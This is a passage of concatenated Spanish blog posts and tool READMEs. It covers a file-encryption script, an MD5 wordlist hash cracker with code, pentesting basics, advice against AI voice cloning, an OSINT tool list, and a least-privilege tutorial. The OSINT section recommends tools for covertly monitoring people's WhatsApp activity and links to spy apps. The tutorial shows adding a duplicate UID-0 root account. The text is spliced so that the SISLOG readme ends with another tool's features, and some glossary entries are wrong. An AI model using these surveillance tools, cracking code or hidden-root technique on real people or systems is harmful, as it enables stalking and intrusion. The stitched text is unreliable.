    encryptor = cipher.encryptor()

    with open(input_file, "rb") as file_in:
        data = file_in.read()

    padded_data = data + b'\x00' * (-len(data) % 16)
    encrypted_data = encryptor.update(padded_data) + encryptor.finalize()

    output_file = input_file + ".gie"
    with open(output_file, "wb") as file_out:
        file_out.write(iv)
        file_out.write(encrypted_data)

    print(Fore.LIGHTMAGENTA_EX + f"Archivo ENCRIPTADO guardado como: {output_file}" + Style.RESET_ALL)
    os.remove(input_file)
```

### Función de Descifrado

```python
def decrypt_file(input_file: str, password: bytes):
    base_file = os.path.splitext(os.path.basename(input_file))[0]  # Eliminar todas las extensiones
    while "." in base_file:
        base_file = os.path.splitext(base_file)[0]  # Eliminar todas las extensiones
        # Añadir la extensión .key al nombre del archivo base
    key_file = os.path.join(os.path.dirname(input_file), base_file + ".GKY")
    print(f"Buscando el archivo de la clave: {key_file}")  # Imprimir el nombre del archivo de clave que estamos buscando
    if os.path.exists(key_file):
        with open(key_file, "rb") as f:
            key_with_salt = f.read()
            salt = key_with_salt[:16]  # Obtener la sal almacenada
            derived_key = hashlib.pbkdf2_hmac('sha256', password, salt, 100000, 32)
            # print("La clave se recuperó con éxito.")
            # print(f"Longitud de la clave: {len(derived_key)}")
            # print(f"Longitud del salt: {len(salt)}")

        with open(input_file, "rb") as file_in:
            iv = file_in.read(16)
            encrypted_data = file_in.read()

        cipher = Cipher(algorithms.AES(derived_key), modes.CBC(iv), backend=default_backend())
        decryptor = cipher.decryptor()

        decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize()
        unpadded_data = decrypted_data.rstrip(b'\x00')

        output_file = os.path.splitext(input_file)[0]
        with open(output_file, "wb") as file_out:
            file_out.write(unpadded_data)

        print(Fore.LIGHTCYAN_EX + f"Archivo DESENCRIPTADO guardado como: {output_file}" + Style.RESET_ALL)
        os.remove(input_file)

        # Eliminar el archivo de clave después del descifrado exitoso
        os.remove(key_file)
        # print(f"Archivo de la clave {key_file} eliminado con éxito.")

    else:
        print(Fore.LIGHTRED_EX + "No se encontró la clave." + Style.RESET_ALL)

```

---

### Lista de Tareas

* [ ] Comprobación de contraseña

* [x] AES

* [ ] Menú de interfaz de usuario

### 🤝 Contribuyendo

¡Las contribuciones, los problemas y las solicitudes de características son bienvenidos! Siéntete libre de consultar la página de problemas.

### ❤️ Muestra tu apoyo

¡Da una ⭐️ si este proyecto te ayudó!

### 📝 Licencia

Copyright © 2024 [aiskoa](https://aiskoa.vercel.app). Este proyecto tiene licencia [MIT](/LICENSE).

GIE Cifrar y Descifrar archivos


![Anayansi](https://raw.githubusercontent.com/aiskoa/Anayansi/main/assets/title.jpg)

[![Static Badge](https://img.shields.io/badge/%20build-MIT-brightgreen?logo=github&label=LICENSE)](https://github.com/aiskoa/Anayansi/LICENSE)
![Static Badge](https://img.shields.io/badge/MARCH%202024-red?label=RELEASE%20DATE)
![Static Badge](https://img.shields.io/badge/LANGUAGE-Python-yellow?logo=python)

# Anayansi

Anayansi es un script para crackear o crear un hash escrito en python, multiplataforma para windows y linux.

### Creador de Hash

![aCreator](https://raw.githubusercontent.com/aiskoa/Anayansi/main/assets/anayansi_creator.gif)

&nbsp;

### Cracker de Hash

![aCracker](https://raw.githubusercontent.com/aiskoa/Anayansi/main/assets/anayansi_cracker.gif)

## Formatos de Hash Soportados

* **MD5**
* **SHA1**
* **SHA256**
* **SHA384**
* **SHA512**

## 💻 Instalación

Ejecuta los comandos según tu caso (Win o Linux)

**python** para windows **python3** para Linux

Clona o Descarga este Repositorio

```bash
git clone https://github.com/aiskoa/Anayansi.git
```

Actualiza los Repositorios

```bash
sudo apt update
```

Cambia de Directorio

```bash
cd Anayansi
```

Ejecuta el archivo setup.py

```bash
python3 setup.py
```

O instala las dependencias manualmente

```bash
pip install -r requirements.txt
```

Ejecuta el proyecto

```bash
python3 anayansi.py
```

O para windows

```bash
python anayansi.py
```

### Función MD5 Cracker

```python
def md5():
    """ MD5 es para Descifrar Hash MD5 en Crudo"""
    hash = input(
        Fore.GREEN + " [" + Fore.RED + 'x' + Fore.GREEN + "]" + Style.RESET_ALL + " Ingresa el Hash : " + Fore.GREEN)
    w_list = input(
        Fore.GREEN + " [" + Fore.RED + 'x' + Fore.GREEN + "]" + Style.RESET_ALL + " Ingresa la Ruta Completa de la Wordlist : " + Fore.GREEN)
    print(Style.RESET_ALL)
    pass_file = open(w_list, "r")

    for i in pass_file:
        file_enc = i.encode('utf-8')
        md_hash = hashlib.md5(file_enc.strip()).hexdigest()

        if md_hash == hash:
            print(Fore.GREEN + " Contraseña Encontrada :", i + Style.RESET_ALL)
            break
        else:
            print(Fore.RED + " Contraseña No Encontrada !!!" + Style.RESET_ALL)
```

&nbsp;

### ¿Qué es una Wordlist?

Una "Wordlist" es una lista de palabras o caracteres listados en un archivo de texto, un ejemplo de ello es "rockyou.txt", y otras.
No proporcionaré la Wordlist mencionada, pero buscarla no es complicado.

&nbsp;

### Función MD5 Create

```python
def md5():
    text = input(Fore.GREEN + " [" + Fore.RED + 'x' + Fore.GREEN + "]" + Style.RESET_ALL + " Ingresa el String : " + Fore.GREEN + Style.RESET_ALL)
    md5 = hashlib.md5(text.encode('utf8').strip()).hexdigest()
    print(f"\n Hash MD5 : {Fore.GREEN}{md5}{Style.RESET_ALL}\n")
```

&nbsp;

### ✅ ⬇ Descargar ⬇

Disponible para Mac, Linux y Windows 10 / 11.

[Descargar](https://github.com/aiskoa/Anayansi)

&nbsp;

### 📝 Licencia

Copyright © 2024 [aiskoa](https://aiskoa.vercel.app). Este proyecto tiene licencia [MIT](https://github.com/aiskoa/Anayansi/blob/main/LICENSE).

Anayansi - Creador y Cracker de Hashes


# Metacrawler 2

Nueva versión de Metacrawler, borra metadatos de cualquier formato de archivo, incluso creando una copia del mismo, ahora escrito en Javascript, usando Electron.

## Aquí está Metacrawler 2

![IMG](https://i.ibb.co/kqjLPSd/metacrawlerr.png)

## Cómo ejecutar

Descarga o clona el proyecto.

Para empezar, ejecuta el comando.

`npm install`

luego

`npm run start`

&nbsp;

## Ejemplo de código (Función Eliminar Metadatos)

```javascript
document.getElementById('fileInput').addEventListener('change', (event) => {
    filePath = event.target.files[0].path;
    removeMetadata(filePath);
});

function removeMetadata(filePath) {
    const originalFilePath = filePath + '_original';

    exiftool
        .write(filePath, { all: '' })
        .then(() => {
          Swal.fire({
            position: "top-end",
            icon: "success",
            title: "¡Metadatos eliminados!",
            showConfirmButton: false,
            timer: 1500
          });
            ipcRenderer.send('download-file', filePath);

            fs.unlink(originalFilePath, err => {
                if (err) {
                    console.error(err);
                }
            });
        })
        .catch(err => console.error(err));
}

document.getElementById('downloadButton').addEventListener('click', () => {
    ipcRenderer.send('download-file', filePath);
});
```

> Descarga o clona el proyecto en Github.
[Descargar desde Github](https://github.com/aiskoa/metacrawler)

### Licencia

MIT

&nbsp;

- 💜 Acceso al [--> Blog](https://aiskoa.vercel.app/es/blog/)


Metacrawler Borrador de Metadatos


# Fundamentos Ciberseguridad (Parte 2).

&nbsp;

> *Difficulty Level: ⭐*

Te recomiendo ir al Cheatsheet para una versión mas dinamica y divertida de aprender estos terminos.
[Click para encontrar el Cheatsheet Completo](https://aiskoa.gitbook.io/glosario-de-hacking-ciberseguridad-y-redes/)

&nbsp;

**ISO/IEC 27032:2021**: Guías para mejorar el estado de la ciberseguridad, destacando los aspectos únicos de esa actividad y sus dependencias de otros dominios de seguridad, en particular.

> Se necesitan especialistas, si existe algún problema con al gún miembro, la cosa se vuelve jodida.

Un framework es un marco de como hacer las cosas y una normativa es como hacerlo.

---

**¿Qúe es el Ethical Hacking (Hacking Ético)?**: El hacking ético es una práctica importante para mejorar la seguridad informática de las organizaciones, ya que permite identificar y remediar vulnerabilidades de manera legal y ética, este simula el comportamiento de un ataque real, con el proposito de comprometer a la organización para posterior mente realizar un informe de prueba de penetración y pruebas de intrusión.

&nbsp;

**¿Qué es el Análisis de Vulnerabilidades?**: Análisis de Vulnerabilidades: Esta práctica implica el uso de herramientas y métodos automatizados para escanear sistemas, redes y aplicaciones en busca de fallos de seguridad que ya han sido documentados. El objetivo principal no es simular un ataque real, sino realizar un inventario exhaustivo de las debilidades existentes basándose en las bases de datos de vulnerabilidades conocidas.

---

**¿Qúe son las pruebas de intrusión?**: Las pruebas de intrusión son una práctica de seguridad que consta de un conjunto de técnicas que permiten evaluar el nivel de seguridad tecnológico de una organización o servicio brindado.

&nbsp;

> *"Una prueba de seguridad con un objetivo se termina cuando dicho objetivo se obtiene o cuando se acaba el tiempo disponible para realizarlo", (OSSTMM - Open Source Security Testing Methodology Manual).*

&nbsp;

> *"Prueba de seguridad donde los evaluadores copian ataques reales para subvertir las funciones de seguridad de un aplicativo", (NIST - National Institute of Standards and Technology).*

&nbsp;

**¿Por qué es importante el Pentesting?**: Son una herramienta esencial para mejorar la seguridad informática y proteger la información confidencial. Algunas de las razones por la cual es importante el pentesting son:

- 🖊️ Identificar vulnerabilidades en el sistema
- 🖊️ Protección de datos
- 🖊️ Herramientas de auditoría
- 🖊️ Cumplimiento normativo
- 🖊️ Reducción de riesgos

---

## Tipos de pruebas de intrusión

### Caja Negra:

Consiste en obtener la mayor información posible debido a que no se tiene NULOS conocimiento ni información previa sobre el sistema o red a ser analizado. *Es la simulación perfecta de un ataque por parte de un autor que no conoce la empresa*.

**VENTAJAS**: Más realista en términos de un ataque real. Rápido de ejecutar.

**DESVENTAJAS**: Puede no identificar todas las vulnerabilidades internas. Menos detallado.

&nbsp;

### Caja Gris: 

Consiste en que el consultor tiene un conocimiento PARCIAL del sistema o red que esta probando y generalmente cuenta con credenciales para acceder a la red o aplicaciones objetivo. *Es la simulación perfecta de un usuario final que intenta comprometer en el sistema sin tener conocimiento completo del mismo*.

**VENTAJAS**: Equilibra el realismo y la profundidad de análisis. Más flexible en términos de enfoque.

**DESVENTAJAS**: Puede no ser tan exhaustivo como el pentesting de caja blanca ni tan realista como el de caja negra.

&nbsp;

### Caja Blanca: 

Consiste en que el consultor tiene un conocimiento COMPLETO del sistema o red que esta probando. *Esto permite que se realice una evaluación completa y rigurosa que resulta en una prueba de penetración mas eficaz*.

**VENTAJAS**: Permite una revisión exhaustiva y detallada. Identifica vulnerabilidades más profundas.

**DESVENTAJAS**: Menos realista desde el punto de vista de un atacante externo. Requiere más tiempo y recursos.

&nbsp;

![Caja NGB](https://pbs.twimg.com/media/E2Qatt0XIAc7LJM.jpg)

&nbsp;

**TIPOS DE INFORME**

- 📕 Informe para *ANÁLISIS DE VULNERABILIDADES*: Informe técnico comprensivo donde se numeran todas las vulnerabilidades identificadas, ranking de vulnerabilidades por riesgo y tareas de remediación recomendadas.

- 📕 Informe para *PENTESTING*: Informe técnico y ejecutivo de las vulnerabilidades, incluyendo vectores de ataque y ataques satisfactorios, ranking de vulnerabilidades por riesgo y tareas de remediación recomendadas.

- 📕 Informe para *ETHICAL HACKING*: Informe técnico y ejecutivo de los vectores de ataque usados en la organización, pruebas de ingeniería social, nivel de concienciación de los empleados e informes de debilidades de la infraestructura de seguridad. Nivel de impacto en el negocio, vectores de ataque satisfactorios e información exfiltrada durante la auditoría, nivel de acceso obtenido. Enumeración de mayor riesgo y tareas de remediación por prioridad.

&nbsp;

- 💜 Acceso al [--> Blog](https://aiskoa.vercel.app/es/blog/)

### Gracias por leer la parte 2

&nbsp;

### Fuentes de consulta

- 🔖 [Pentesting, qué es y para qué sirve By Josué López 07/03/2024](https://auditech.es/blog/pentesting-que-es-y-para-que-sirve/)
- 🔖 [Pentesting de Caja Gris by DragonJAR](https://www.dragonjar.org/pentesting-de-caja-gris.xhtml)
- 🔖 *Pentesting playground 101*


Fundamentos Ciberseguridad 2


# Hola! 👋, esta es la primera publicación como blog de vida

 

Cuántas veces has oído hablar de mí, cuántas veces has oído la voz en tu cabeza, aquí estoy, el sonido agrio para herir tus oídos, para tocar la frente de tu cabeza, la que te hace doler cada mañana al despertar, ese ruido molesto que escuchas todos los días, el que te besará en la despedida el día de tu muerte.

Me gustaría escribir poesía matemática. 💁

 

De la secuencia:

> 5, 7, 9, 12, 18

Encuentra la secuencia después de n + 5:

```nx
0, 0, 0, 0, 0, 1, 1, 1, 3, 4, 5, 7, 9, 12, 18, 22, 25, 36, 46, 48, 62, 76, 88, 107, 126, 142, 179, 198, 216, 257, 304, 329, 382, 431, 483, 547, 601, 643, 764, 838, 889

```

 

Exacto, solo necesitas la respuesta una vez, así como solo necesitas escuchar esa notificación una vez, vives con el miedo constante al peligro, el miedo constante a quedarte sin nada más que yo, tienes miedo de ser parte de mí, de mi abrazo eterno, temes escuchar mi réquiem y perderte en él como una bala en la guerra civil, sueñas conmigo a diario y recuerdas mis palabras como las de un padre.
\nPiensas demasiado las cosas, una y otra vez, hasta que caes bajo el peso de ese error cometido por pensar demasiado, quieres escuchar algo más que mi canto, pero solo hay pequeños fragmentos de audio perdidos en el espacio tratando de encajar para formar un mensaje, un mensaje que quedará incompleto por mi culpa, el que acapara toda tu atención, el que te quita toda tu energía, concentración, precisión y coraje.

---

```nx
¿Porqué te escucho?

```

> Porque una parte de ti me necesita.

 

```nx
¿Existes o solo estoy loco?

```

> No creo en la locura, solo en los personajes de una historia mal contada.

 

```nx
¿Cuándo dejaré de escucharte?

```

> Cuando el tiempo decida por ti, cuando el tiempo decida por mí, cuando solo seas tú.

 

```nx
¿Estaré bien al dejarte?

```

> Así como dejar morir la esperanza, solo seré parte de tu historia, parte de los recuerdos y de cómo te has vuelto más fuerte hasta ahora.

 

```nx
¿Y qué haré si te necesito, dónde te encontraré nuevamente?

```

> Me encontrarás leyendo el principio de "La Bella Durmiente" de Charles Perrault.

 

```nx
¿Cómo sé que estarás ahí, estarás feliz de verme una vez más?

```

> Me posaré bajo las hojas de un gran árbol, y te miraré a los ojos y diré con mi boca solo tres palabras, "Siempre estuve aquí".

 

```nx
¿Qué pasará si me olvido?

```

> Llegará el momento en que todo tendrá sentido, cuando todo estará en silencio y no habrá tiempo para escucharme de la misma manera, mi voz será opacada por muchas otras voces y sonidos, tu mente estará tan ocupada, que cuando me escuches a lo lejos, estarás tan feliz de escuchar una vieja amistad.

 

```nx
¿Y si muero sin poder encontrarte, estará bien dejarte?

```

> Cuando llegue el momento de partir, iré contigo, me tomarás de la mano y caminaremos juntos por un gran camino verde lleno de vida, con grandes árboles y solo contemplaremos el hermoso cielo.

 

> 13, 2, 18, 6, 17, 12, 20

Me levanté y tomé un **JUGO** de naranja frío, posteriormente avancé **pasos como un inglés, me quedé ahí usando aquella cosa, después me cansé y caminé** pasos, para ver la televisión, me dormí y decidí pararme a viajar **pasos hasta caer cansado, entonces me fui a mi cama cómoda fabricada en **PRADA**, al día siguiente me levanté temprano contando** pasos hasta llegar al baño, me quedé solo **minutos por distraído al ver tiktok, después salí a dar un paseo, eran** pasos hasta llegar a la tienda donde decidí comprar un helado de __ pesos, barato me salió el coso, más barato que mi **AUTO**, felizmente me senté en una banca blanca.

RESULT= J

![ABC](https://i.ytimg.com/vi/kqivBi96npQ/maxresdefault.jpg)

 

> X = Operación matemática que consiste en reducir o separar algo de un todo.
> Y = 62 / 62
> G =

 

**Ha{Y}nLkJFy{G}x9PKAv{X}swED4wt{Y}ELgTEp{RESULT}**

 

### [¿ES ESTO ROSA?](https://mega.nz/file/JjFASRTB)

Pensamientos en Rosa


# Defenderte de la Ai

&nbsp;

## Atención

He de aclarar que estas recomendaciones son para 2024 - 2026 como máximo después de esas fechas no tengo ni idea que pueda pasar con la evolución informática, tambien he de aclarar que muchas de las cosas que mostraré son **teoricas** y no deben ser tomadas a pie de letra per se no serán de mucha ayuda.

&nbsp;

**! Al final del articulo detallaré fuentes de consulta, asi como también terminos usados y este es solo la primera parte**

&nbsp;

*Comenzemos* :)
Abordaré por púntos ciertas problematicas con posibles soluciones.

---

* **¿Cómo evito la clonación de mi voz?**
Respuesta = evita dar reuniones extensas, de más de 3 horas de duración (se muy bien que es un mal consejo, pero dejame explicar que puedes hacer en este caso).

La clonación de una voz necesita de cierto entrenamiento extenso para ser refinada e identica, por lo tanto lo unico que requiere es un gran dataset, si bien ya existen modelos que necesitan solo un minuto de dataset, este requiere gran capacidad de computo, lo cual no es barato.

&nbsp;

* 🔹 Al hablar crea pausas, relajate, piensa las cosas, esto crea espacios en silencios que deberán ser cortados por el clonador, lo que dificulta un poco la tarea.

* 🔹 Utiliza modismo, crea una identidad hacia tu persona, todos tenemos un caracter al hablar, seguramente te conocerán por hablar rapido o usar terminos o palabras complicadas, incluso puede que tu acento sea un tanto particular, por lo tanto esto crea que al clonar tu voz no copiará tu forma de decir las cosas (sabemos que hay cosas que nunca dirias o no dirias de esa forma), creando una identidad o incluso imitando vacios acento dificulta el hecho de ser clonado.

* 🔹 Usa conectores, muletillas, ruidos de fondo o tropiezos, hablar a pausas o equivocaciones ensucia los samples y por lo tanto el dataset, ya que una un sample con cortes en la voz, ruido de fondo o pesima forma de expresarse hace que tenga que regrabarse, ve esto como cuando un artista se equivoca en el estudio, el artista debe volver a cantar porque la ultima vez no quedo bien, gracias a esto la regrabación es cara.

* 🔹 Graba tus conversaciones, hacer esto te dará un espacio seguro frente a lo que dices a lo que nunca has dicho, cabe aclarar que hacer esto deberá ser comunicado frente al resto o con quien conversas en el momento ya que no es ético o incluso puede llegar a ser un cimen.

* 🔹 Chill be safe, relajate y no te preocupes, si algo asi ha de pasar, pasará y cuando lo haga actua tranquilo, siempre con la mente fria, asi pensarás mejor y mas rapido, la mayoria de estas clonaciones ocurren a gente que llama la atención del público, influencers, artistas, gobernantes, periodistas, mas adelantes veremos que hacer si eres uno de ellos.

&nbsp;

| Nombre | Url |
| --|--|
| Guia de entrenamiento RVC v2 | [Click](https://docs.google.com/document/d/13ebnzmeEBc6uzYCMt-QVFQk-whVrK4zw8k7_Lw3Bv_A/edit#heading=h.bjzhhhcn3f6) |
| Guia inferencia Covers con RVC | [Click](https://docs.google.com/document/d/13_l1bd1Osgz7qlAZn-zhklCbHpVRk6bYOuAuB78qmsE/edit#heading=h.qjrl2d41vtmt) |
| Pagina para la clonación | [Click](https://colab.research.google.com/drive/1AcGvwT7yP_u9h_TJnDHoPUJKnCG1MejS?usp=sharing) |
| Reputación de Url | [Click](https://www.urlvoid.com) |
| Whois | [Click](https://whois.domaintools.com) |
| SleepJar | [Click](https://sleepjar.com) |

---

* **¿Cómo evito la clonación de mi imagen?**
Respuesta = Al igual que el de la voz, es algo complicado, ya que no tenemos control de todo lo que ven de nosotros o el mundo muestra para y de nosotros.

&nbsp;

Intenta no tomarte muchas fotos, en especial del rostro, si te lo quieres tomar de la forma mas estricta, no uses el movil, ni dispositivos con camara, pero hacer esto no resultará, por ello te recomiento conocerte, revisa cuantos lunares tienes, revisa si cuales son aquellas cosas que te diferencian, arrugas, bello, forma de sorisa, rostro, conocete, vete al espejo y describete, la mejor arma la sabes usar hasta con ojos vendados.

No conozco herramientas que puedan ser de ayuda, pero puedes intentar, usar filtros, ¿filtros?, si filtros, esto dificulta al algoritmo revisar tus pumulos y mirada ya que estos distorsionan o incluso crean una falsa apariencia, posa de formas originales en fotos (las casuales).

---

* **¿Cómo evito la clonación de mi iris?**
Respuesta = No te vendas, mejor aún no mires a una camara.

El iris en la actualidad no tiene un gran uso, este es usado para acceder a bovedas, arcas e información privilegiada de alto valor, lo que significa que es caro de mantener y administrar.
El iris no representa un peligro para un civil, ya que pocos y nulos tramites necesitan de él, si este fuera a clonarse para un motivo X, solo se necesita una foto o video de ti, inclusive por distinción y descarte puede llegarse al color exacto y forma del ojo, por lo que si quieres ser clonado solo hace falta venderte a worldcoin por 20 usd, y ya estarás en una base de datos que se filtrará al mes siguiente para entrenar npc's para los sims.

---

* **¿Cómo evito la clonación huella y huella digital?**
Respuesta = Es imposible.

Las grandes entidades tienen control de estos datos por lo tanto esto seria lo primero en clonarse, pero no te preocupes, protege tus cuentas con 2FA, borra las cookies, elimina aplicaciones inicesarias, no instales aplicaciones maliciones, apk o exe, desconocidos, aplica zero trust, usa la cabeza.

&nbsp;

**Tabla de anti malware y otros**
\

| Nombre | Enlace |
| --|--|
| [Triage](https://tria.ge) | Permite crear un entorno seguro para el analisis de malware o aplicaciones sospechosas |
| [ViewDNS](https://viewdns.info) | Permite encontrar dominios, hots y más sobre una IP o sitio |
| [Hybrid Analysis](https://www.hybrid-analysis.com/?lang=es) | Permite el analisis de malware sobre ejecutables o cualquier archivo |
| [VirScan](https://www.virscan.org) | De igual manera permite el analisis de malware desde la aplicación web |
| [VirusTotal](https://www.virustotal.com/gui/home/upload) | Este sitio es muy bien conocido y de igual manera permite realizar analisis sobre archivos |
| [Numverify](https://numverify.com) | Permite verificar la identidad de una persona con un numero de telefono mediante su API |

---

### Referencias

* 🔹  Bird, J. J., & Lotfi, A. (2023). Real-time Detection of AI-Generated Speech for DeepFake Voice Conversion. arXiv preprint arXiv:2308.12734.
* 🔹 Kamble, A., Tathe, A., Kumbharkar, S., Bhandare, A., & Mitra, A. C. (2023). Custom Data Augmentation for low resource ASR using Bark and Retrieval-Based Voice Conversion. arXiv preprint arXiv:2311.14836.
* 🔹 Ralón, M. A. M. (2021). Robo de identidad y clonación de tarjetas de crédito y débito utilizando cajeros automáticos alterados. Revista Científica Diálogo Forense, 2(4).

### Glosario

* 📌 **AI** = Inteligencia artificial
* 📌 **Clonar** = Clonar, copiar, duplicar, etc.
* 📌 **RVC** = Corresponde a Real-time Detection.
* 📌 **Sample** = Muestra de audio en WAV, MP3 u OPUS, muy conocido en el mundo de la producción musical.
* 📌 **Dataset** = Conjunto de cientos de datos, estos pueden ser conformados por audios, videos o imagenes.
* 📌 **DeepFake** = Representación falsa de una identidad de forma cibernetica.
* 📌 **WorldCoin** = Pseudoproyecto de Sam Altman para generar la renta universal o identidad unica ante la singularidad.
* 📌 **Singularidad** = Se denomina como tal a aquella identidad autonoma en si misma capaz de crear, replicar y destruir cualquier cosa por si misma, vease como una inteligencia artificial capaz de autoprogramarse (También conocida como Basilisco de Roko).
* 📌 **Modelo** = Se define como un aconjunto de algoritmos entrenados para ejecutar de manera especializada una sola tarea, sea dibujar, cantar o copiar, existen modelos capaces de hacer tareas simultaneas.
* 📌 **Algoritmo** = Conjunto de pasos para completar una tarea con exito.

&nbsp;

= Ewd


Defiendete de la IA


**Antes de comenzar.**

Cualquier herramienta aqui mostrada debe usarse con responsabilidad y extremo cuidado, el uso mal intencionado de alguna de ellas queda en responsabilidad del usuario.

___

[Shodan](https://www.shodan.io)

Shodan es un motor de busqueda para el internet de las cosas, puede buscar por IP y explorar multiples dispositivos en la red.

- Ideal para llevar analisis de servidores
- Ofrece filtros para busquedas mas especificas
- Uso para auditorias de seguridad
- Recopilación de información
- Ubicación fisica del servidor

[Hunter](https://hunter.io)

Hunter es buscador de email profesionales de trabajadores, al ingresar un dominio de organización este arrojara una lista de correos asociados al dominio y la fuente de donde se obtuvo.

[Emailrep](https://emailrep.io)

Emailrep analiza el correo ingresado, da información del correo como su reputación y cuentas asociadas a el, como redes sociales entre otros.

___

[Truecaller](https://www.truecaller.com)

Truecaller permite obtener información de numeros telefónicos.

- Permite ataques de ingenieria social
- Permite ataques de Gateway por SMS (Solo en algunos casos)

*ACLARACIÓN: NO RECOMIENDO USAR TRUECALLER COMO PRIMER METODO, YA QUE TRUECALLER ALMACENA SU INFORMACIÓN LOCAL COMO NUMEROS DE TELEFONO, NOMBRES Y DIRECCIONES PARA INCREMENTAR SU BASE DE DATOS Y ASI COMPARTIRLA CON EL MUNDO.*

[Webmii](https://webmii.com)

Al ingresar el nombre de la persona da un score de información que hay en la red acerca de ella.

Plataformas similares:

- [Searchpof](https://searchpof.com/)
- [Corporation Wiki](https://www.corporationwiki.com/)
- [fold3](https://www.fold3.com/?group=1)
- [BranYourself](https://brandyourself.com/)

![Webmii](https://i.ibb.co/42H4417/image.png)
___

[Instantusername](https://instantusername.com/#/)

Al ingresar un nombre de usuario o nickname, aparecerá en que plataformas esta registrado ese usuario.

Plataformas similares:

- [Social Searcher](https://www.social-searcher.com/)
- [Namechk](https://namechk.com/)
- [Sherlock](https://github.com/sherlock-project/sherlock)
- [Knowem?](https://knowem.com/)
- [Whatsmyname](https://whatsmyname.app/)

Mas información relacionada en este [ENLACE](https://securiters.gitbook.io/securiters-wiki/)

___

**Analisis reverso de imagenes.**

Yandex es un motor de busqueda poderoso, permite buscar por una imagen y arrojara resultados mas exactos.

[Yandex](https://yandex.com/images/)

___

**Monitoreo y analisis de datos.**

[Chatwatch](https://chatwatch.net/)

Permite monitorear un número de WhatsApp o multiples de ellos, si la lina se colorea en un morado oscuro es que este esta en linea, esto sirve para ver si dos personas estan interactuando, requiere una cuenta de pago pero su versión demo permite su uso con limitaciones.

Mas utilidades de espionaje [AQUI](https://trustedbrandreviews.org/best-spy-apps/?gclid=CjwKCAjwyqWkBhBMEiwAp2yUFkTLr5wmvqkZLPdT8oO4yFVGPRAEiSiBkncphPXHyc0_vg3LVHsMnBoCNAMQAvD_BwE)

Intelx es una herramienta de inteligencia poderosa que permite buscar por fechas, emails y más, adicionalmente da información sobre correos o cuentas filtradas de bancos de datos.

[Intelx](https://intelx.io/)

Adicional a esto, existen herramientas como TheHarvester, Maltego, Osintagram, Phoneinfoga y más que peuden ser usadas en su intestigación, algunas de estas son nativas en Kali o ParrotOS, se abordara este tema a mas profundidad la entrada para Osint-2.

Esta herramienta  no siempre es fiable

![TheHarvester](https://miro.medium.com/v2/resize:fit:1144/1*-hPh74OGmurbhduZNGcMLg.png)


Herramientas OSINT 1


**Aclarando dudas.**

- Lo que no está permitido, debe estar prohibido.
- Una cadena es tan fuerte como su eslabón más débil.
- La medida de seguridad es directamente proporcional al nivel de riesgo existente.
- Un ~~perro~~ informático “viejo”, **debe** aprender nuevos trucos.
- La seguridad informática es trabajo de todos.

## En WINDOWS

  ![Minimoprivilegio](https://i.ibb.co/nLqgQRQ/image.png)

## En LINUX

**Para crear un usuario convencional:**

Autenticarse como usuario root

```js
~$ su -
Password:

~#

```

___

Crear el usuario

```js
useradd nombreUsuario

```

___

Agregar contraseña

```js
passwd nombreUsuario

```

___

Para cambiarse al usuario nuevo

```js
su nombreUsuario

```

___

**Para crear un usuario root:**

Crear el usuario

```js
useradd -u 0 -o -g 0 nombreUsuario2

```

___

- **u [UID]** -> identificador de usuario de la nueva cuenta. Se agrega el UID (User ID) en el campo de [UID].
- **o** -> permite crear usuarios con identificadores (UID) duplicados (no únicos).
- **g [GRUPO]** -> nombre o identificador del grupo primario de la nueva cuenta.
- **p [CONTRASEÑA]** -> contraseña cifrada de la nueva cuenta

Explicación: -u 0 le estamos asignando a la cuenta userPrueba el UID ( User IDentifier) 0, cada cuenta tiene un identificador de usuario, el de la cuenta root es 0, al asignarle el valor 0 a userPrueba le estamos dando los mismos privilegios de usuario que la cuenta root. Por lo general no se puede tener dos cuentas con el mismo UID, por eso se agrega la opcion -o que permite hacer una excepcion y que se pueda. El -g 0 le asigna el GID (Group IDentifier) 0 al userPrueba, para que pertenezca al mismo grupo que la cuenta root.

___

**Alta de usuario estándar:**

Entrar como administrador (root) con:

```js
//opción a)
~$ su -
Password: (honeydrive)
//opción b)
~$ sudo su -
[sudo] Password: (honeydrive)

```

___

Una vez adentro cambiaras al símbolo # y podrás crear el nuevo usuario estándar;

```js
~#useradd userPrueba1
~#passwd userPrueba1 (prueba1) //contraseña opcional

```

y listo!

Puedes tratar de hacer los cambios de configuración para autentificar que sea un usuario estándar con:

primero entramos al usuario y después cambiamos la configuración del puerto eth0

___

```js
//entrar como usuario UserPrueba1
~# su userPrueba1
//dentro del usuario hacemos la consulta de los puertos disponibles para confirmar que exista eth0
$ ifconfig

//intentamos apagar puerto eth0
$ ifconfig eth0 down
SIOCSIFFLAGS: Permission denied
//mensaje esperado denegado

```

___

Por último, para regresar al usuario Administrador

```js
//opción a)
$su –
Password: (honeydrive)
//opción b)
$exit
```

___

**Alta de usuario Administrador:**

Entrar como administrador (root) con: (repetir paso uno o confirmar estar en root #)

```js
~# useradd -u 0 -o -g 0 userPrueba2
~# passwd userPrueba2 (prueba2) //contraseña opcional

```

___

Puedes tratar de hacer los cambios de configuración para autentificar que sea un usuario Administrador con:

Primero entramos al usuario administrador y después cambiamos la configuración del puerto eth0

___

```js
//entrar como usuario UserPrueba2
~# su userPrueba2
//dentro del usuario hacemos la consulta de los puertos disponibles para confirmar que exista eth0
$ ifconfig

//intentamos apagar puerto eth0
$ ifconfig eth0 down
//confirmamos que se hayan hecho los cambios
$ ifconfig
//por último lo regresamos a la configuración inicial con:
$ ifconfig eth0 up
```

___

  ![ModeloOSI](https://i.ibb.co/gwkMPTV/image.png)


El Principio de Minimo Privilegio


![imagetitle](https://i.ibb.co/YcnFRM2/sislogtitle.jpg)

# SISLOG

## Crea registros, informes, problemas y más.
Herramienta forense para Windows 8/10/11 y Linux para generar registros sobre programas instalados, conexiones NetBios, caché ARP, DNS, procesos, red, WIFI, servicios, modificaciones de computadora, tareas programadas, unidades mapeadas y más, todo escrito en Python y con salida como archivos TXT.

> Necesitas privilegios de administrador para evitar errores con la creación de txt.

Invito a cualquiera a realizar modificaciones en este repositorio y mejorar el programa para varios sistemas operativos, independientemente de su arquitectura o distribución.

![IMG](https://i.imgur.com/3Pw9O4u.png)


### Características

Cifra y descifra tus archivos y carpetas con AES, para cualquier archivo, jpg, png, mp4, mp3, docx, pdf, etc...

### ¿Por qué GIE?

GIE es el nombre de mi primera novia (es broma 😂), GIE es el acrónimo de cifrado de archivos **G**entil, **I**nteligente y **F**ácil.

## 📦 Requisitos

- **[Python](https://www.python.org/downloads/)**, (no es necesario).

## 💻 Instalación

Ejecuta los comandos según tu caso

Ejecuta el proyecto

```batch
python setup.py
```

Luego (o)

```batch
python main.py
```

